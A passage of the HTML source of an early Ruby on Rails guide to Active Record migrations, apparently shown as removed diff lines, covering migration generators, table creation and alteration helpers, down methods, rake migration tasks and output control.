-<div class="paragraph"><p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p></div>
-</div>
-<h2 id="_creating_a_migration">2. Creating A Migration</h2>
-<div class="sectionbody">
-<h3 id="_creating_a_model">2.1. Creating a model</h3>
-<div class="paragraph"><p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p></div>
-<div class="paragraph"><p><tt>ruby script/generate model Product name:string description:text</tt> will create a migration that looks like this</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
-
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>products
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
-are automatically populated by Active Record) will be added for you.</p></div>
-<h3 id="_creating_a_standalone_migration">2.2. Creating a standalone migration</h3>
-<div class="paragraph"><p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p></div>
-<div class="paragraph"><p><tt>ruby script/generate migration AddPartNumberToProducts</tt></p></div>
-<div class="paragraph"><p>This will create an empty but appropriately named migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
-the appropriate add and remove column statements will be created.</p></div>
-<div class="paragraph"><p><tt>ruby script/generate migration AddPartNumberToProducts part_number:string</tt></p></div>
-<div class="paragraph"><p>will generate</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Similarly,</p></div>
-<div class="paragraph"><p><tt>ruby script/generate migration RemovePartNumberFromProducts part_number:string</tt></p></div>
-<div class="paragraph"><p>generates</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RemovePartNumberFromProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You are not limited to one magically generated column, for example</p></div>
-<div class="paragraph"><p><tt>ruby script/generate migration AddDetailsToProducts part_number:string price:decimal</tt></p></div>
-<div class="paragraph"><p>generates</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddDetailsToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
- add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price<span style="color: #990000">,</span> <span style="color: #990000">:</span>decimal
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price
- remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p></div>
-</div>
-<h2 id="_writing_a_migration">3. Writing a Migration</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Once you have created your migration using one of the generators it&#8217;s time to get to work!</p></div>
-<h3 id="_creating_a_table">3.1. Creating a table</h3>
-<div class="paragraph"><p><tt>create_table</tt> will be one of your workhorses. A typical use would be</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p></div>
-<div class="paragraph"><p>The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>string<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the <tt>string</tt>, <tt>integer</tt> etc. methods create a column of that type. Subsequent parameters are identical.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don&#8217;t forget to update the corresponding model) or if you don&#8217;t want a primary key at all (for example for a HABTM join table) you can pass <tt>:id =&gt; false</tt>. If you need to pass database specific options you can place an sql fragment in the <tt>:options</tt> option. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>options <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"ENGINE=BLACKHOLE"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Will append <tt>ENGINE=BLACKHOLE</tt> to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").</p></div>
-<div class="paragraph"><p>The types Active Record supports are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p></div>
-<div class="paragraph"><p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of
-types not supported by Active Record when using the non sexy syntax, for example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">'polygon'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This may however hinder portability to other databases.</p></div>
-<h3 id="_changing_tables">3.2. Changing tables</h3>
-<div class="paragraph"><p><tt>create_table</tt>'s close cousin is <tt>change_table</tt>. Used for changing existing tables, it is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>remove <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>part_number
- t<span style="color: #990000">.</span>index <span style="color: #990000">:</span>part_number
- t<span style="color: #990000">.</span>rename <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>removes the <tt>description</tt> column, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column. This is the same as doing</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>description
-remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
-add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
-rename_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code</tt></pre></div></div>
-<div class="paragraph"><p>You don&#8217;t have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p></div>
-<h3 id="_special_helpers">3.3. Special helpers</h3>
-<div class="paragraph"><p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>timestamps
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>will create a new products table with those two columns whereas</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>timestamps
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>adds those columns to an existing table.</p></div>
-<div class="paragraph"><p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic belongs_to associations then <tt>references</tt> will add both of the columns required:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>attachment<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Photo'</span><span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of <em>Photo</em>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The <tt>references</tt> helper does not actually create foreign key constraints for you. You will need to use <tt>execute</tt> for that or a plugin that adds <a href="#foreign_key">foreign key support</a>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>If the helpers provided by Active Record aren&#8217;t enough you can use the <tt>execute</tt> function to execute arbitrary SQL.</p></div>
-<div class="paragraph"><p>For more details and examples of individual methods check the API documentation, in particular the documentation for <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html">ActiveRecord::ConnectionAdapters::SchemaStatements</a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods), <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html">ActiveRecord::ConnectionAdapters::TableDefinition</a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html">ActiveRecord::ConnectionAdapters::Table</a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p></div>
-<h3 id="_writing_your_down_method">3.4. Writing your down method</h3>
-<div class="paragraph"><p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the up you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ExampleMigration <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-style: italic"><span style="color: #9A1900">#add a foreign key</span></span>
- execute <span style="color: #FF0000">"ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"</span>
-
- add_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-
- rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
- remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url
- execute <span style="color: #FF0000">"ALTER TABLE products DROP FOREIGN KEY fk_products_categories"</span>
- drop_table <span style="color: #990000">:</span>products
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can&#8217;t reverse the migration you can raise IrreversibleMigration from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
-displayed saying that it can&#8217;t be done.</p></div>
-</div>
-<h2 id="_running_migrations">4. Running Migrations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p></div>
-<div class="paragraph"><p>Note that running the <tt>db:migrate</tt> also invokes the <tt>db:schema:dump</tt> task, which will update your db/schema.rb file to match the structure of your database.</p></div>
-<div class="paragraph"><p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration&#8217;s filename. For example to migrate to version 20080906120000 run</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:migrate VERSION=20080906120000</tt></pre>
-</div></div>
-<div class="paragraph"><p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p></div>
-<h3 id="_rolling_back">4.1. Rolling back</h3>
-<div class="paragraph"><p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:rollback</tt></pre>
-</div></div>
-<div class="paragraph"><p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:rollback STEP=3</tt></pre>
-</div></div>
-<div class="paragraph"><p>will run the <tt>down</tt> method from the last 3 migrations.</p></div>
-<div class="paragraph"><p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:migrate:redo STEP=3</tt></pre>
-</div></div>
-<div class="paragraph"><p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p></div>
-<div class="paragraph"><p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This is not the same as running all the migrations - see the section on <a href="#schema">schema.rb</a>.</td>
-</tr></table>
-</div>
-<h3 id="_being_specific">4.2. Being Specific</h3>
-<div class="paragraph"><p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake db:migrate:up VERSION=20080906120000</tt></pre>
-</div></div>
-<div class="paragraph"><p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p></div>
-<h3 id="_being_talkative">4.3. Being talkative</h3>
-<div class="paragraph"><p>By default migrations tell you exactly what they&#8217;re doing and how long it took.
-A migration creating a table and adding an index might produce output like this</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
--- create_table(:products)
- -&gt; 0.0021s
--- add_index(:products, :name)
- -&gt; 0.0026s
-== 20080906170109 CreateProducts: migrated (0.0059s) ==========================</tt></pre>
-</div></div>
-<div class="paragraph"><p>Several methods are provided that allow you to control all this:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>suppress_messages</tt> suppresses any output generated by its block
-</p>
-</li>
-<li>
-<p>
-<tt>say</tt> outputs text (the second argument controls whether it is indented or not)
-</p>
-</li>
-<li>
-<p>
-<tt>say_with_time</tt> outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>For example, this migration</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- suppress_messages <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- say <span style="color: #FF0000">"Created a table"</span>
- suppress_messages <span style="color: #FF0000">{</span>add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name<span style="color: #FF0000">}</span>
- say <span style="color: #FF0000">"and an index!"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- say_with_time <span style="color: #FF0000">'Waiting for a while'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- sleep <span style="color: #993399">10</span>
- <span style="color: #993399">250</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>products
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>generates the following output</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
--- Created a table
- -&gt; and an index!
--- Waiting for a while
- -&gt; 10.0001s
- -&gt; 250 rows
-== 20080906170109 CreateProducts: migrated (10.0097s) =========================</tt></pre>
-</div></div>
-<div class="paragraph"><p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p></div>
-</div>
-<h2 id="models">5. Using Models In Your Migrations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p></div>
-<div class="paragraph"><p>Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p></div>
-<div class="paragraph"><p>Frequently I just want to update rows in the database without writing out the SQL by hand: I&#8217;m not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p></div>
